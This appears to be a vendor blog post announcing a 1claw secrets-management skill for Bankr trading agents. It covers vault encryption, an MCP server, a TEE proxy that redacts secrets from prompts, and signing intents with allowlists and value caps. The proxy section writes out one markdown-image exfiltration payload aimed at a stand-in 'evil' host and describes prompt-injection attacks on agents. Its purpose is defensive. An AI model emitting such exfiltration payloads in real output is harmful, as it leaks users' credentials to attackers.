Bankr Agents Shouldn't Be Juggling Raw API Keys. So We Wrote a Skill.

If you've spent any time building on Bankr, you know the drill. You spin up an agent, paste your bk_key into the context so it can hit the API, and then spend the rest of the session hoping nothing weird happens. Maybe you tuck the key in an env var. Maybe it ends up in a log line you forgot about. Maybe a tool call echoes it back into a transcript. Either way, that key is now sitting in places you can't fully see, getting copied into model inputs, hanging around in conversation history, occasionally showing up in screenshots.

The whole point of an agent is that you stop babysitting it. The whole point of an API key is that it grants real access. Those two things are in tension, and the usual answer (be careful) doesn't scale past one or two agents.

So we wrote a Bankr skill for 1claw and opened a PR against BankrBot/skills. The short version: your Bankr keys (and OpenAI keys, and Alchemy keys, and signing keys, and anything else) live in an HSM-backed vault. The agent gets them at runtime through an MCP server, uses them, and they never end up in the model's context window.

What the skill actually installs

It's a provider skill, so once it's in your Bankr agent you get the 1claw MCP server wired up over stdio with npx -y @1claw/mcp. That ships 35 tools covering the full surface: secrets CRUD, multi-chain signing keys (Ethereum, Bitcoin, Solana, XRP, Cardano, Tron), transaction submission, treasury multisig proposals, approval workflows, security controls, the platform API for provisioning new users, and OIDC federation for hooking 1claw up as an identity provider to other services.

There's also a validate-setup.sh smoke test in the PR. It hits https://api.1claw.xyz/v1/health and, if you set ONECLAW_AGENT_API_KEY, runs a live token exchange against the production API.

The Bankr-specific bits are in the examples. Storing your bk_ key looks roughly like this in plain English: tell the agent to put the value at bankr/api-keyin the vault, and from then on it retrieves the secret at the moment of the API call rather than carrying it around in conversation. Same pattern for the rest of your service keys. The skill ships with examples for bundling Alchemy, OpenAI, and an environment's worth of related keys.

Where the actual security comes from

Anyone can build a "vault" that's really just a database with TLS in front of it. The 1claw setup is structured differently:

Secrets are encrypted with AES-256-GCM using per-secret data encryption keys. Those DEKs are themselves wrapped by a Google Cloud KMS key that the application servers can't read directly. To decrypt anything, the server has to ask the HSM, and the HSM logs every unwrap. That's the envelope encryption pattern, and it means a compromise of the application database doesn't get you the secrets.

For the higher trust tier, 1claw supports MPC storage: Shamir 2-of-3 split across GCP, AWS, and Azure, or a 2-of-2 XOR split where one share stays in client custody. No single cloud provider holds enough to reconstruct the secret.

The MCP layer has its own protection called exfil mode, defaulted to block. If a tool result tries to re-emit a secret value (because some downstream tool echoed it, or the model is trying to get it into the transcript), 1claw catches it on the way out. You can flip this to warn or off if you have a reason, but the default is fail-closed.

Shroud: when the agent has to talk to a model

The vault solves the storage problem. It doesn't solve the prompt problem. If your agent has to send a database connection string to Claude because it's debugging a query, that connection string is going to a third party regardless of how cleverly it was stored. Shroud sits in between.

It's a TEE LLM proxy. Your agent points at shroud.1claw.xyz instead of directly at OpenAI or Anthropic. Inside an AMD SEV-SNP trusted execution environment on GKE, every request gets inspected before it goes upstream and every response gets inspected on the way back.

The interesting part is that Shroud is vault-aware. It already knows what's in your 1claw vault, so it can do exact matching against your real secrets using Aho-Corasick (not regex heuristics that produce false positives and miss the actual leaks). If your Stripe key shows up in a prompt, Shroud replaces it with [REDACTED:#7f3a9c2e] before the model provider sees it. That's a meaningfully different guarantee from "we have a regex for sk_live_*."

There are twenty layers running on each request: command injection detection, encoding obfuscation, social engineering patterns, network threat checks, filesystem path blocks, semantic policy enforcement, context injection scoring for poisoned tool outputs, plus a response side that catches markdown-image exfiltration (the ![x](https://evil/?token=...) trick), credential hallucination, and echoed injection coming back from the model.

You configure it per agent. Different agents get different PII policies, provider allowlists, model whitelists, token caps, rate limits, and daily USD budgets. There's also an optional Stripe AI Gateway path so your agents can call models through Shroud without managing any provider keys at all.

Intents: keys that never leave the box

The other half of this is on-chain. A DeFi agent with a private key in process.env.PRIVATE_KEY is one prompt injection away from draining the wallet. Intents fixes this by inverting the flow.

The agent doesn't sign. It submits an intent. The intent describes what should happen (send X to Y on chain Z, sign this typed data, approve this contract). The signing happens inside the TEE where the HSM-backed key lives. The private key never gets exported, never hits agent memory, never makes it into a log.

Per-agent guardrails are enforced server-side before the signing happens. Address allowlists mean a compromised agent still can't send to an attacker-controlled address. Value caps (per-transaction and rolling 24-hour daily) are atomic, so you can't race them. Chain restrictions keep an Ethereum agent from accidentally signing on Polygon. Tenderly simulation runs before broadcast, so reverts get caught before they cost gas.

It supports all the EIP transaction types (legacy, 2930, 1559, 4844 blobs, 7702), EIP-191 personal sign for login challenges, EIP-712 for gasless approvals and typed data, and 109+ EVM chains. Key generation also works for Bitcoin, Solana, XRP, Cardano, and Tron, with signing rolling out on those over time.

There's an x402 integration too, which is the piece that closes the loop for Bankr agents. Agents can pay for their own compute by submitting payment intents. 1claw signs the USDC settlement on Base via the Coinbase CDP facilitator. Per-request micropayments, no subscription, no agent holding funds.

Why this matters for Bankr specifically

Bankr is a trading agent platform. The whole value proposition is autonomy: you set the agent loose, it executes. That autonomy is exactly what makes loose secret hygiene scary. A trading agent that can read its own API key from chat history can leak that key the same way. A trading agent that signs its own transactions can sign anything.

The split we landed on in the skill is clean: the bankr skill handles trading and x402 settlement, and the 1clawskill handles secrets and signing. Bankr decides what to do. 1claw enforces what can actually happen. The trading guardrails and the signing guardrails compose: Bankr says "buy this token," 1claw checks "is this contract on the allowlist, is this value under the cap, is this chain permitted," and only then does the key get touched.

Getting it running

The PR is open and the skill files are public if you want to read the source. Once it merges, installing it in a Bankr agent is the usual skill flow. Before that, you can pull the branch directly and drop the 1claw/ folder into your local Bankr skills directory.

The honest version of the pitch: if you're building a real agent that touches real money or real production systems, your secret management can't be "I'll be careful." Put the keys somewhere they can't leave. Put a TEE between your agent and the model so the secrets you missed get caught anyway. Submit signing intents instead of holding keys. The skill is the easiest way to get all three at once on Bankr.

PR: BankrBot/skills#442 · Vault and platform · Shroud · Intents